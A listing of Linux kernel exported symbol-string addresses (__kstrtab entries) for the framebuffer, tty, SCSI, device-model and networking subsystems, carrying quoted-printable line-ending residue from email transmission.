103393a8 r __kstrtab_fb_set_suspend=0A=
103393b8 r __kstrtab_fb_get_buffer_offset=0A=
103393d0 r __kstrtab_fb_pan_display=0A=
103393e0 r __kstrtab_fb_blank=0A=
103393ec r __kstrtab_fb_set_var=0A=
103393f8 r __kstrtab_fb_show_logo=0A=
10339408 r __kstrtab_fb_prepare_logo=0A=
10339418 r __kstrtab_registered_fb=0A=
10339428 r __kstrtab_num_registered_fb=0A=
1033943c r __kstrtab_unregister_framebuffer=0A=
10339454 r __kstrtab_register_framebuffer=0A=
1033946c r __kstrtab_fb_con_duit=0A=
10339478 r __kstrtab_fb_pad_unaligned_buffer=0A=
10339490 r __kstrtab_fb_pad_aligned_buffer=0A=
103394a8 r __kstrtab_fb_get_color_depth=0A=
103394bc r __kstrtab_fb_destroy_modedb=0A=
103394d0 r __kstrtab_fb_validate_mode=0A=
103394e4 r __kstrtab_fb_get_mode=0A=
103394f0 r __kstrtab_fb_firmware_edid=0A=
10339504 r __kstrtab_fb_edid_to_monspecs=0A=
10339518 r __kstrtab_fb_parse_edid=0A=
10339528 r __kstrtab_fb_invert_cmaps=0A=
10339538 r __kstrtab_fb_default_cmap=0A=
10339548 r __kstrtab_fb_set_cmap=0A=
10339554 r __kstrtab_fb_copy_cmap=0A=
10339564 r __kstrtab_fb_dealloc_cmap=0A=
10339574 r __kstrtab_fb_alloc_cmap=0A=
10339584 r __kstrtab_framebuffer_release=0A=
10339598 r __kstrtab_framebuffer_alloc=0A=
103395ac r __kstrtab_fb_find_mode=0A=
103395bc r __kstrtab_fb_videomode_to_modelist=0A=
103395d8 r __kstrtab_fb_find_nearest_mode=0A=
103395f0 r __kstrtab_fb_find_best_mode=0A=
10339604 r __kstrtab_fb_match_mode=0A=
10339614 r __kstrtab_fb_destroy_modelist=0A=
10339628 r __kstrtab_fb_delete_videomode=0A=
1033963c r __kstrtab_fb_add_videomode=0A=
10339650 r __kstrtab_fb_mode_is_equal=0A=
10339664 r __kstrtab_fb_var_to_videomode=0A=
10339678 r __kstrtab_fb_videomode_to_var=0A=
1033968c r __kstrtab_fb_find_best_display=0A=
103396a4 r __kstrtab_fb_find_mode_cvt=0A=
103396b8 r __kstrtab_cfb_fillrect=0A=
103396c8 r __kstrtab_cfb_copyarea=0A=
103396d8 r __kstrtab_cfb_imageblit=0A=
103396e8 r __kstrtab_secure_tcp_sequence_number=0A=
10339704 r __kstrtab_generate_random_uuid=0A=
1033971c r __kstrtab_get_random_bytes=0A=
10339730 r __kstrtab_add_disk_randomness=0A=
10339744 r __kstrtab_tty_unregister_driver=0A=
1033975c r __kstrtab_tty_register_driver=0A=
10339770 r __kstrtab_tty_set_operations=0A=
10339784 r __kstrtab_put_tty_driver=0A=
10339794 r __kstrtab_alloc_tty_driver=0A=
103397a8 r __kstrtab_tty_unregister_device=0A=
103397c0 r __kstrtab_tty_register_device=0A=
103397d4 r __kstrtab_tty_flip_buffer_push=0A=
103397ec r __kstrtab_tty_get_baud_rate=0A=
10339800 r __kstrtab_tty_termios_baud_rate=0A=
10339818 r __kstrtab_do_SAK=0A=
10339820 r __kstrtab_start_tty=0A=
1033982c r __kstrtab_stop_tty=0A=
10339838 r __kstrtab_tty_hung_up_p=0A=
10339848 r __kstrtab_tty_vhangup=0A=
10339854 r __kstrtab_tty_hangup=0A=
10339860 r __kstrtab_tty_ldisc_flush=0A=
10339870 r __kstrtab_tty_wakeup=0A=
1033987c r __kstrtab_tty_check_change=0A=
10339890 r __kstrtab_tty_ldisc_deref=0A=
103398a0 r __kstrtab_tty_ldisc_ref=0A=
103398b0 r __kstrtab_tty_ldisc_ref_wait=0A=
103398c4 r __kstrtab_tty_ldisc_put=0A=
103398d4 r __kstrtab_tty_ldisc_get=0A=
103398e4 r __kstrtab_tty_unregister_ldisc=0A=
103398fc r __kstrtab_tty_register_ldisc=0A=
10339910 r __kstrtab_tty_prepare_flip_string_flags=0A=
10339930 r __kstrtab_tty_prepare_flip_string=0A=
10339948 r __kstrtab_tty_insert_flip_string_flags=0A=
10339968 r __kstrtab_tty_insert_flip_string=0A=
10339980 r __kstrtab_tty_buffer_request_room=0A=
10339998 r __kstrtab_tty_name=0A=
103399a4 r __kstrtab_tty_std_termios=0A=
103399b4 r __kstrtab_n_tty_ioctl=0A=
103399c0 r __kstrtab_tty_wait_until_sent=0A=
103399d4 r __kstrtab_misc_deregister=0A=
103399e4 r __kstrtab_misc_register=0A=
103399f4 r __kstrtab_con_copy_unimap=0A=
10339a04 r __kstrtab_con_set_default_unimap=0A=
10339a1c r __kstrtab_give_up_console=0A=
10339a2c r __kstrtab_take_over_console=0A=
10339a40 r __kstrtab_vc_cons=0A=
10339a48 r __kstrtab_console_blanked=0A=
10339a58 r __kstrtab_console_blank_hook=0A=
10339a6c r __kstrtab_fg_console=0A=
10339a78 r __kstrtab_vc_resize=0A=
10339a84 r __kstrtab_redraw_screen=0A=
10339a94 r __kstrtab_update_region=0A=
10339aa4 r __kstrtab_default_blu=0A=
10339ab0 r __kstrtab_default_grn=0A=
10339abc r __kstrtab_default_red=0A=
10339ac8 r __kstrtab_color_table=0A=
10339ad4 r __kstrtab_do_unblank_screen=0A=
10339ae8 r __kstrtab_do_blank_screen=0A=
10339af8 r __kstrtab_serio_reconnect=0A=
10339b08 r __kstrtab_serio_rescan=0A=
10339b18 r __kstrtab_serio_close=0A=
10339b24 r __kstrtab_serio_open=0A=
10339b30 r __kstrtab_serio_unregister_driver=0A=
10339b48 r __kstrtab___serio_register_driver=0A=
10339b60 r __kstrtab___serio_unregister_port_delayed=0A=
10339b80 r __kstrtab_serio_unregister_child_port=0A=
10339b9c r __kstrtab_serio_unregister_port=0A=
10339bb4 r __kstrtab___serio_register_port=0A=
10339bcc r __kstrtab_serio_interrupt=0A=
10339bdc r __kstrtab_ps2_cmd_aborted=0A=
10339bec r __kstrtab_ps2_handle_response=0A=
10339c00 r __kstrtab_ps2_handle_ack=0A=
10339c10 r __kstrtab_ps2_schedule_command=0A=
10339c28 r __kstrtab_ps2_command=0A=
10339c34 r __kstrtab_ps2_drain=0A=
10339c40 r __kstrtab_ps2_sendbyte=0A=
10339c50 r __kstrtab_ps2_init=0A=
10339c5c r __kstrtab_device_remove_file=0A=
10339c70 r __kstrtab_device_create_file=0A=
10339c84 r __kstrtab_put_device=0A=
10339c90 r __kstrtab_get_device=0A=
10339c9c r __kstrtab_device_unregister=0A=
10339cb0 r __kstrtab_device_del=0A=
10339cbc r __kstrtab_device_register=0A=
10339ccc r __kstrtab_device_add=0A=
10339cd8 r __kstrtab_device_initialize=0A=
10339cec r __kstrtab_device_for_each_child=0A=
10339d04 r __kstrtab_sysdev_unregister=0A=
10339d18 r __kstrtab_sysdev_register=0A=
10339d28 r __kstrtab_sysdev_driver_unregister=0A=
10339d44 r __kstrtab_sysdev_driver_register=0A=
10339d5c r __kstrtab_sysdev_class_unregister=0A=
10339d74 r __kstrtab_sysdev_class_register=0A=
10339d8c r __kstrtab_sysdev_remove_file=0A=
10339da0 r __kstrtab_sysdev_create_file=0A=
10339db4 r __kstrtab_bus_remove_file=0A=
10339dc4 r __kstrtab_bus_create_file=0A=
10339dd4 r __kstrtab_find_bus=0A=
10339de0 r __kstrtab_put_bus=0A=
10339de8 r __kstrtab_get_bus=0A=
10339df0 r __kstrtab_bus_rescan_devices=0A=
10339e04 r __kstrtab_bus_unregister=0A=
10339e14 r __kstrtab_bus_register=0A=
10339e24 r __kstrtab_bus_remove_device=0A=
10339e38 r __kstrtab_bus_add_device=0A=
10339e48 r __kstrtab_bus_for_each_drv=0A=
10339e5c r __kstrtab_bus_find_device=0A=
10339e6c r __kstrtab_bus_for_each_dev=0A=
10339e80 r __kstrtab_driver_attach=0A=
10339e90 r __kstrtab_device_attach=0A=
10339ea0 r __kstrtab_device_release_driver=0A=
10339eb8 r __kstrtab_device_bind_driver=0A=
10339ecc r __kstrtab_driver_remove_file=0A=
10339ee0 r __kstrtab_driver_create_file=0A=
10339ef4 r __kstrtab_driver_find=0A=
10339f00 r __kstrtab_put_driver=0A=
10339f0c r __kstrtab_get_driver=0A=
10339f18 r __kstrtab_driver_unregister=0A=
10339f2c r __kstrtab_driver_register=0A=
10339f3c r __kstrtab_driver_find_device=0A=
10339f50 r __kstrtab_driver_for_each_device=0A=
10339f68 r __kstrtab_class_interface_unregister=0A=
10339f84 r __kstrtab_class_interface_register=0A=
10339fa0 r __kstrtab_class_device_remove_bin_file=0A=
10339fc0 r __kstrtab_class_device_create_bin_file=0A=
10339fe0 r __kstrtab_class_device_remove_file=0A=
10339ffc r __kstrtab_class_device_create_file=0A=
1033a018 r __kstrtab_class_device_destroy=0A=
1033a030 r __kstrtab_class_device_create=0A=
1033a044 r __kstrtab_class_device_put=0A=
1033a058 r __kstrtab_class_device_get=0A=
1033a06c r __kstrtab_class_device_del=0A=
1033a080 r __kstrtab_class_device_add=0A=
1033a094 r __kstrtab_class_device_initialize=0A=
1033a0ac r __kstrtab_class_device_unregister=0A=
1033a0c4 r __kstrtab_class_device_register=0A=
1033a0dc r __kstrtab_class_destroy=0A=
1033a0ec r __kstrtab_class_create=0A=
1033a0fc r __kstrtab_class_put=0A=
1033a108 r __kstrtab_class_get=0A=
1033a114 r __kstrtab_class_unregister=0A=
1033a128 r __kstrtab_class_register=0A=
1033a138 r __kstrtab_class_remove_file=0A=
1033a14c r __kstrtab_class_create_file=0A=
1033a160 r __kstrtab_dma_get_required_mask=0A=
1033a178 r __kstrtab_platform_bus_type=0A=
1033a18c r __kstrtab_platform_driver_unregister=0A=
1033a1a8 r __kstrtab_platform_driver_register=0A=
1033a1c4 r __kstrtab_platform_device_register_simple=0A=
1033a1e4 r __kstrtab_platform_device_unregister=0A=
1033a200 r __kstrtab_platform_device_register=0A=
1033a21c r __kstrtab_platform_device_del=0A=
1033a230 r __kstrtab_platform_device_add=0A=
1033a244 r __kstrtab_platform_device_add_data=0A=
1033a260 r __kstrtab_platform_device_add_resources=0A=
1033a280 r __kstrtab_platform_device_alloc=0A=
1033a298 r __kstrtab_platform_device_put=0A=
1033a2ac r __kstrtab_platform_add_devices=0A=
1033a2c4 r __kstrtab_platform_get_irq_byname=0A=
1033a2dc r __kstrtab_platform_get_resource_byname=0A=
1033a2fc r __kstrtab_platform_get_irq=0A=
1033a310 r __kstrtab_platform_get_resource=0A=
1033a328 r __kstrtab_platform_bus=0A=
1033a338 r __kstrtab_get_cpu_sysdev=0A=
1033a348 r __kstrtab_cpu_sysdev_class=0A=
1033a35c r __kstrtab_firmware_unregister=0A=
1033a370 r __kstrtab_firmware_register=0A=
1033a384 r __kstrtab_dma_pool_free=0A=
1033a394 r __kstrtab_dma_pool_alloc=0A=
1033a3a4 r __kstrtab_dma_pool_destroy=0A=
1033a3b8 r __kstrtab_dma_pool_create=0A=
1033a3c8 r __kstrtab_attribute_container_find_class_device=0A=
1033a3f0 r __kstrtab_attribute_container_class_device_del=0A=
1033a418 r __kstrtab_attribute_container_remove_attrs=0A=
1033a43c r __kstrtab_attribute_container_add_class_device_adapter=0A=
1033a46c r __kstrtab_attribute_container_add_class_device=0A=
1033a494 r __kstrtab_attribute_container_add_attrs=0A=
1033a4b4 r __kstrtab_attribute_container_trigger=0A=
1033a4d0 r __kstrtab_attribute_container_device_trigger=0A=
1033a4f4 r __kstrtab_attribute_container_remove_device=0A=
1033a518 r __kstrtab_attribute_container_unregister=0A=
1033a538 r __kstrtab_attribute_container_register=0A=
1033a558 r __kstrtab_attribute_container_classdev_to_container=0A=
1033a584 r __kstrtab_transport_destroy_device=0A=
1033a5a0 r __kstrtab_transport_remove_device=0A=
1033a5b8 r __kstrtab_transport_configure_device=0A=
1033a5d4 r __kstrtab_transport_add_device=0A=
1033a5ec r __kstrtab_transport_setup_device=0A=
1033a604 r __kstrtab_anon_transport_class_unregister=0A=
1033a624 r __kstrtab_anon_transport_class_register=0A=
1033a644 r __kstrtab_transport_class_unregister=0A=
1033a660 r __kstrtab_transport_class_register=0A=
1033a67c r __kstrtab_register_firmware=0A=
1033a690 r __kstrtab_request_firmware_nowait=0A=
1033a6a8 r __kstrtab_request_firmware=0A=
1033a6bc r __kstrtab_release_firmware=0A=
1033a6d0 r __kstrtab_loopback_dev=0A=
1033a6e0 r __kstrtab_scsi_device_cancel=0A=
1033a6f4 r __kstrtab_scsi_device_lookup=0A=
1033a708 r __kstrtab___scsi_device_lookup=0A=
1033a720 r __kstrtab_scsi_device_lookup_by_target=0A=
1033a740 r __kstrtab___scsi_device_lookup_by_target=0A=
1033a760 r __kstrtab_starget_for_each_device=0A=
1033a778 r __kstrtab___scsi_iterate_devices=0A=
1033a790 r __kstrtab_scsi_device_put=0A=
1033a7a0 r __kstrtab_scsi_device_get=0A=
1033a7b0 r __kstrtab_scsi_track_queue_full=0A=
1033a7c8 r __kstrtab_scsi_adjust_queue_depth=0A=
1033a7e0 r __kstrtab_scsi_finish_command=0A=
1033a7f4 r __kstrtab_scsi_put_command=0A=
1033a808 r __kstrtab_scsi_get_command=0A=
1033a81c r __kstrtab_scsi_release_request=0A=
1033a834 r __kstrtab_scsi_allocate_request=0A=
1033a84c r __kstrtab_scsi_device_types=0A=
1033a860 r __kstrtab_scsi_flush_work=0A=
1033a870 r __kstrtab_scsi_queue_work=0A=
1033a880 r __kstrtab_scsi_is_host_device=0A=
1033a894 r __kstrtab_scsi_host_put=0A=
1033a8a4 r __kstrtab_scsi_host_get=0A=
1033a8b4 r __kstrtab_scsi_host_lookup=0A=
1033a8c8 r __kstrtab_scsi_unregister=0A=
1033a8d8 r __kstrtab_scsi_register=0A=
1033a8e8 r __kstrtab_scsi_host_alloc=0A=
1033a8f8 r __kstrtab_scsi_add_host=0A=
1033a908 r __kstrtab_scsi_remove_host=0A=
1033a91c r __kstrtab_scsi_host_set_state=0A=
1033a930 r __kstrtab_scsi_nonblockable_ioctl=0A=
1033a948 r __kstrtab_scsi_ioctl=0A=
1033a954 r __kstrtab_scsi_ioctl_send_command=0A=
1033a96c r __kstrtab_scsi_set_medium_removal=0A=
1033a984 r __kstrtab_scsi_print_command=0A=
1033a998 r __kstrtab_scsi_print_req_sense=0A=
1033a9b0 r __kstrtab_scsi_print_sense=0A=
1033a9c4 r __kstrtab___scsi_print_sense=0A=
1033a9d8 r __kstrtab_scsi_print_sense_hdr=0A=
1033a9f0 r __kstrtab_scsi_extd_sense_format=0A=
1033aa08 r __kstrtab_scsi_sense_key_string=0A=
1033aa20 r __kstrtab_scsi_print_status=0A=
1033aa34 r __kstrtab___scsi_print_command=0A=
1033aa4c r __kstrtab_scsi_partsize=0A=
1033aa5c r __kstrtab_scsicam_bios_param=0A=
1033aa70 r __kstrtab_scsi_bios_ptable=0A=
1033aa84 r __kstrtab_scsi_get_sense_info_fld=0A=
1033aa9c r __kstrtab_scsi_sense_desc_find=0A=
1033aab4 r __kstrtab_scsi_command_normalize_sense=0A=
1033aad4 r __kstrtab_scsi_request_normalize_sense=0A=
1033aaf4 r __kstrtab_scsi_normalize_sense=0A=
1033ab0c r __kstrtab_scsi_reset_provider=0A=
1033ab20 r __kstrtab_scsi_report_device_reset=0A=
1033ab3c r __kstrtab_scsi_report_bus_reset=0A=
1033ab54 r __kstrtab_scsi_block_when_processing_errors=0A=
1033ab78 r __kstrtab_scsi_target_unblock=0A=
1033ab8c r __kstrtab_scsi_target_block=0A=
1033aba0 r __kstrtab_scsi_internal_device_unblock=0A=
1033abc0 r __kstrtab_scsi_internal_device_block=0A=
1033abdc r __kstrtab_scsi_target_resume=0A=
1033abf0 r __kstrtab_scsi_target_quiesce=0A=
1033ac04 r __kstrtab_scsi_device_resume=0A=
1033ac18 r __kstrtab_scsi_device_quiesce=0A=
1033ac2c r __kstrtab_scsi_device_set_state=0A=
1033ac44 r __kstrtab_scsi_test_unit_ready=0A=
1033ac5c r __kstrtab_scsi_mode_sense=0A=
1033ac6c r __kstrtab_scsi_unblock_requests=0A=
1033ac84 r __kstrtab_scsi_block_requests=0A=
1033ac98 r __kstrtab_scsi_calculate_bounce_limit=0A=
1033acb4 r __kstrtab_scsi_io_completion=0A=
1033acc8 r __kstrtab_scsi_execute_async=0A=
1033acdc r __kstrtab_scsi_execute_req=0A=
1033acf0 r __kstrtab_scsi_execute=0A=
1033ad00 r __kstrtab_scsi_do_req=0A=
1033ad0c r __kstrtab_scsi_free_host_dev=0A=
1033ad20 r __kstrtab_scsi_get_host_dev=0A=
1033ad34 r __kstrtab_scsi_scan_host=0A=
1033ad44 r __kstrtab_scsi_scan_target=0A=
1033ad58 r __kstrtab_scsi_rescan_device=0A=
1033ad6c r __kstrtab_scsi_add_device=0A=
1033ad7c r __kstrtab___scsi_add_device=0A=
1033ad90 r __kstrtab_int_to_scsilun=0A=
1033ada0 r __kstrtab_scsi_is_target_device=0A=
1033adb8 r __kstrtab_scsi_is_sdev_device=0A=
1033adcc r __kstrtab_scsi_register_interface=0A=
1033ade4 r __kstrtab_scsi_register_driver=0A=
1033adfc r __kstrtab_scsi_remove_target=0A=
1033ae10 r __kstrtab_scsi_remove_device=0A=
1033ae24 r __kstrtab_spi_release_transport=0A=
1033ae3c r __kstrtab_spi_attach_transport=0A=
1033ae54 r __kstrtab_spi_print_msg=0A=
1033ae64 r __kstrtab_spi_display_xfer_agreement=0A=
1033ae80 r __kstrtab_spi_schedule_dv_device=0A=
1033ae98 r __kstrtab_spi_dv_device=0A=
1033aea8 r __kstrtab_NCR_700_intr=0A=
1033aeb8 r __kstrtab_NCR_700_release=0A=
1033aec8 r __kstrtab_NCR_700_detect=0A=
1033aed8 r __kstrtab_cdrom_get_media_event=0A=
1033aef0 r __kstrtab_init_cdrom_command=0A=
1033af04 r __kstrtab_cdrom_mode_sense=0A=
1033af18 r __kstrtab_cdrom_mode_select=0A=
1033af2c r __kstrtab_cdrom_number_of_slots=0A=
1033af44 r __kstrtab_cdrom_media_changed=0A=
1033af58 r __kstrtab_cdrom_ioctl=0A=
1033af64 r __kstrtab_cdrom_release=0A=
1033af74 r __kstrtab_cdrom_open=0A=
1033af80 r __kstrtab_unregister_cdrom=0A=
1033af94 r __kstrtab_register_cdrom=0A=
1033afa4 r __kstrtab_cdrom_get_last_written=0A=
1033afbc r __kstrtab_uhci_check_and_reset_hc=0A=
1033afd4 r __kstrtab_uhci_reset_hc=0A=
1033afe4 r __kstrtab_input_class=0A=
1033aff0 r __kstrtab_input_event=0A=
1033affc r __kstrtab_input_flush_device=0A=
1033b010 r __kstrtab_input_accept_process=0A=
1033b028 r __kstrtab_input_close_device=0A=
1033b03c r __kstrtab_input_open_device=0A=
1033b050 r __kstrtab_input_release_device=0A=
1033b068 r __kstrtab_input_grab_device=0A=
1033b07c r __kstrtab_input_unregister_handler=0A=
1033b098 r __kstrtab_input_register_handler=0A=
1033b0b0 r __kstrtab_input_unregister_device=0A=
1033b0c8 r __kstrtab_input_register_device=0A=
1033b0e0 r __kstrtab_input_allocate_device=0A=
1033b0f8 r __kstrtab_hwmon_device_unregister=0A=
1033b110 r __kstrtab_hwmon_device_register=0A=
1033b128 r __kstrtab_kernel_recvmsg=0A=
1033b138 r __kstrtab_kernel_sendmsg=0A=
1033b148 r __kstrtab_sockfd_lookup=0A=
1033b158 r __kstrtab_sock_wake_async=0A=
1033b168 r __kstrtab_sock_unregister=0A=
1033b178 r __kstrtab_sock_sendmsg=0A=
1033b188 r __kstrtab_sock_release=0A=
1033b198 r __kstrtab_sock_register=0A=
1033b1a8 r __kstrtab_sock_recvmsg=0A=
1033b1b8 r __kstrtab_sock_map_fd=0A=
1033b1c4 r __kstrtab_sock_create_lite=0A=
1033b1d8 r __kstrtab_sock_create_kern=0A=
1033b1ec r __kstrtab_sock_create=0A=
1033b1f8 r __kstrtab_move_addr_to_user=0A=
1033b20c r __kstrtab_move_addr_to_kernel=0A=
1033b220 r __kstrtab_dlci_ioctl_set=0A=
1033b230 r __kstrtab_vlan_ioctl_set=0A=
1033b240 r __kstrtab_brioctl_set=0A=
1033b24c r __kstrtab_sysctl_wmem_max=0A=
1033b25c r __kstrtab_sysctl_rmem_max=0A=
1033b26c r __kstrtab_sysctl_optmem_max=0A=
1033b280 r __kstrtab_sock_i_ino=0A=
1033b28c r __kstrtab_sock_i_uid=0A=
1033b298 r __kstrtab_sock_wmalloc=0A=
1033b2a8 r __kstrtab_sock_wfree=0A=
1033b2b4 r __kstrtab_sock_setsockopt=0A=
1033b2c4 r __kstrtab_sock_rfree=0A=
1033b2d0 r __kstrtab_sock_no_socketpair=0A=
1033b2e4 r __kstrtab_sock_no_shutdown=0A=
1033b2f8 r __kstrtab_sock_no_setsockopt=0A=
1033b30c r __kstrtab_sock_no_sendpage=0A=
1033b320 r __kstrtab_sock_no_sendmsg=0A=
1033b330 r __kstrtab_sock_no_recvmsg=0A=
1033b340 r __kstrtab_sock_no_poll=0A=
1033b350 r __kstrtab_sock_no_mmap=0A=
1033b360 r __kstrtab_sock_no_listen=0A=
1033b370 r __kstrtab_sock_no_ioctl=0A=
1033b380 r __kstrtab_sock_no_getsockopt=0A=
1033b394 r __kstrtab_sock_no_getname=0A=
1033b3a4 r __kstrtab_sock_no_connect=0A=
1033b3b4 r __kstrtab_sock_no_bind=0A=
1033b3c4 r __kstrtab_sock_no_accept=0A=
1033b3d4 r __kstrtab_sock_kmalloc=0A=
1033b3e4 r __kstrtab_sock_kfree_s=0A=
1033b3f4 r __kstrtab_sock_init_data=0A=
1033b404 r __kstrtab_sock_alloc_send_skb=0A=
1033b418 r __kstrtab_sk_send_sigurg=0A=
1033b428 r __kstrtab_sk_free=0A=
1033b430 r __kstrtab_sk_alloc=0A=
1033b43c r __kstrtab_proto_unregister=0A=
1033b450 r __kstrtab_proto_register=0A=
1033b460 r __kstrtab_sk_common_release=0A=
1033b474 r __kstrtab_sock_common_setsockopt=0A=
1033b48c r __kstrtab_sock_common_recvmsg=0A=
1033b4a0 r __kstrtab_sock_common_getsockopt=0A=
1033b4b8 r __kstrtab_sock_enable_timestamp=0A=
1033b4d0 r __kstrtab_sock_get_timestamp=0A=
1033b4e4 r __kstrtab_release_sock=0A=
1033b4f4 r __kstrtab_lock_sock=0A=
1033b500 r __kstrtab_sk_stop_timer=0A=
1033b510 r __kstrtab_sk_reset_timer=0A=
1033b520 r __kstrtab_sk_wait_data=0A=
1033b530 r __kstrtab_sk_clone=0A=
1033b53c r __kstrtab_reqsk_queue_destroy=0A=
1033b550 r __kstrtab_reqsk_queue_alloc=0A=
1033b564 r __kstrtab_skb_append_datato_frags=0A=
1033b57c r __kstrtab_skb_find_text=0A=
1033b58c r __kstrtab_skb_abort_seq_read=0A=
1033b5a0 r __kstrtab_skb_seq_read=0A=
1033b5b0 r __kstrtab_skb_prepare_seq_read=0A=
1033b5c8 r __kstrtab_skb_split=0A=
1033b5d4 r __kstrtab_skb_append=0A=
1033b5e0 r __kstrtab_skb_unlink=0A=
1033b5ec r __kstrtab_skb_queue_tail=0A=
1033b5fc r __kstrtab_skb_queue_head=0A=
1033b60c r __kstrtab_skb_queue_purge=0A=
1033b61c r __kstrtab_skb_insert=0A=
1033b628 r __kstrtab_skb_dequeue_tail=0A=
1033b63c r __kstrtab_skb_dequeue=0A=
1033b648 r __kstrtab_skb_under_panic=0A=
1033b658 r __kstrtab_skb_realloc_headroom=0A=
1033b670 r __kstrtab_skb_pad=0A=
1033b678 r __kstrtab_skb_over_panic=0A=
1033b688 r __kstrtab_skb_copy_expand=0A=
1033b698 r __kstrtab_skb_copy_bits=0A=
1033b6a8 r __kstrtab_skb_copy_and_csum_dev=0A=
1033b6c0 r __kstrtab_skb_copy_and_csum_bits=0A=
1033b6d8 r __kstrtab_skb_copy=0A=
1033b6e4 r __kstrtab_skb_clone_fraglist=0A=
1033b6f8 r __kstrtab_skb_clone=0A=
1033b704 r __kstrtab_skb_checksum=0A=
1033b714 r __kstrtab_pskb_expand_head=0A=
1033b728 r __kstrtab_pskb_copy=0A=
1033b734 r __kstrtab___alloc_skb=0A=
1033b740 r __kstrtab___pskb_pull_tail=0A=
1033b754 r __kstrtab___kfree_skb=0A=
1033b760 r __kstrtab____pskb_trim=0A=
1033b770 r __kstrtab_skb_store_bits=0A=
1033b780 r __kstrtab_memcpy_toiovec=0A=
1033b790 r __kstrtab_memcpy_fromiovecend=0A=
1033b7a4 r __kstrtab_memcpy_fromiovec=0A=
1033b7b8 r __kstrtab_csum_partial_copy_fromiovecend=0A=
1033b7d8 r __kstrtab_skb_recv_datagram=0A=
1033b7ec r __kstrtab_skb_free_datagram=0A=
1033b800 r __kstrtab_skb_copy_datagram_iovec=0A=
1033b818 r __kstrtab_skb_copy_and_csum_datagram_iovec=0A=
1033b83c r __kstrtab_datagram_poll=0A=
1033b84c r __kstrtab___skb_checksum_complete=0A=
1033b864 r __kstrtab_skb_kill_datagram=0A=
1033b878 r __kstrtab_sk_stream_kill_queues=0A=
1033b890 r __kstrtab_sk_stream_mem_schedule=0A=
1033b8a8 r __kstrtab___sk_stream_mem_reclaim=0A=
1033b8c0 r __kstrtab_sk_stream_error=0A=
1033b8d0 r __kstrtab_sk_stream_rfree=0A=
1033b8e0 r __kstrtab_sk_stream_wait_memory=0A=
1033b8f8 r __kstrtab_sk_stream_wait_close=0A=
1033b910 r __kstrtab_sk_stream_wait_connect=0A=
1033b928 r __kstrtab_sk_stream_write_space=0A=
1033b940 r __kstrtab_scm_fp_dup=0A=
1033b94c r __kstrtab_scm_detach_fds=0A=
1033b95c r __kstrtab_put_cmsg=0A=
1033b968 r __kstrtab___scm_send=0A=
1033b974 r __kstrtab___scm_destroy=0A=
1033b984 r __kstrtab_gnet_stats_finish_copy=0A=
1033b99c r __kstrtab_gnet_stats_copy_app=0A=
1033b9b0 r __kstrtab_gnet_stats_copy_queue=0A=
1033b9c8 r __kstrtab_gnet_stats_copy_rate_est=0A=
1033b9e4 r __kstrtab_gnet_stats_copy_basic=0A=
1033b9fc r __kstrtab_gnet_stats_start_copy_compat=0A=
1033ba1c r __kstrtab_gnet_stats_start_copy=0A=
1033ba34 r __kstrtab_gen_replace_estimator=0A=
1033ba4c r __kstrtab_gen_new_estimator=0A=
1033ba60 r __kstrtab_gen_kill_estimator=0A=
1033ba74 r __kstrtab_per_cpu__softnet_data=0A=
1033ba8c r __kstrtab_dev_load=0A=
1033ba98 r __kstrtab_dev_get_flags=0A=
1033baa8 r __kstrtab_net_disable_timestamp=0A=
1033bac0 r __kstrtab_net_enable_timestamp=0A=
1033bad8 r __kstrtab_unregister_netdevice_notifier=0A=
1033baf8 r __kstrtab_unregister_netdevice=0A=
1033bb10 r __kstrtab_synchronize_net=0A=
1033bb20 r __kstrtab_skb_checksum_help=0A=
1033bb34 r __kstrtab_register_netdevice_notifier=0A=
1033bb50 r __kstrtab_register_netdevice=0A=
1033bb64 r __kstrtab_register_gifconf=0A=
1033bb78 r __kstrtab_netif_rx=0A=
1033bb84 r __kstrtab_netif_receive_skb=0A=
1033bb98 r __kstrtab_netdev_state_change=0A=
1033bbac r __kstrtab_netdev_set_master=0A=
1033bbc0 r __kstrtab_netdev_boot_setup_check=0A=
1033bbd8 r __kstrtab_free_netdev=0A=
1033bbe4 r __kstrtab_dev_set_mac_address=0A=
1033bbf8 r __kstrtab_dev_set_mtu=0A=
1033bc04 r __kstrtab_dev_change_flags=0A=
1033bc18 r __kstrtab_dev_set_promiscuity=0A=
1033bc2c r __kstrtab_dev_set_allmulti=0A=
1033bc40 r __kstrtab_dev_remove_pack=0A=
1033bc50 r __kstrtab_dev_queue_xmit=0A=
1033bc60 r __kstrtab_dev_open=0A=
1033bc6c r __kstrtab_dev_get_by_name=0A=
1033bc7c r __kstrtab_dev_get_by_index=0A=
1033bc90 r __kstrtab_dev_get_by_flags=0A=
1033bca4 r __kstrtab_dev_close=0A=
1033bcb0 r __kstrtab_dev_alloc_name=0A=
1033bcc0 r __kstrtab_dev_add_pack=0A=
1033bcd0 r __kstrtab_dev_valid_name=0A=
1033bce0 r __kstrtab___skb_linearize=0A=
1033bcf0 r __kstrtab___dev_remove_pack=0A=
1033bd04 r __kstrtab___dev_get_by_name=0A=
1033bd18 r __kstrtab___dev_get_by_index=0A=
1033bd2c r __kstrtab_unregister_netdev=0A=
1033bd40 r __kstrtab_alloc_netdev=0A=
1033bd50 r __kstrtab_register_netdev=0A=
1033bd60 r __kstrtab_netif_rx_ni=0A=
1033bd6c r __kstrtab_netdev_rx_csum_fault=0A=
1033bd84 r __kstrtab___net_timestamp=0A=
1033bd94 r __kstrtab_netdev_features_change=0A=
1033bdac r __kstrtab_dev_getfirstbyhwtype=0A=
1033bdc4 r __kstrtab_dev_getbyhwaddr=0A=
1033bdd4 r __kstrtab_dev_base_lock=0A=
1033bde4 r __kstrtab_dev_base=0A=
1033bdf0 r __kstrtab_ethtool_op_get_ufo=0A=
1033be04 r __kstrtab_ethtool_op_set_ufo=0A=
1033be18 r __kstrtab_ethtool_op_set_tx_hw_csum=0A=
1033be34 r __kstrtab_ethtool_op_set_tx_csum=0A=
1033be4c r __kstrtab_ethtool_op_set_tso=0A=
1033be60 r __kstrtab_ethtool_op_set_sg=0A=
1033be74 r __kstrtab_ethtool_op_get_tx_csum=0A=
1033be8c r __kstrtab_ethtool_op_get_tso=0A=
1033bea0 r __kstrtab_ethtool_op_get_sg=0A=
1033beb4 r __kstrtab_ethtool_op_get_perm_addr=0A=
1033bed0 r __kstrtab_ethtool_op_get_link=0A=
1033bee4 r __kstrtab_dev_ethtool=0A=
1033bef0 r __kstrtab_dev_mc_upload=0A=
1033bf00 r __kstrtab_dev_mc_delete=0A=
1033bf10 r __kstrtab_dev_mc_add=0A=
1033bf1c r __kstrtab_dst_destroy=0A=
1033bf28 r __kstrtab_dst_alloc=0A=
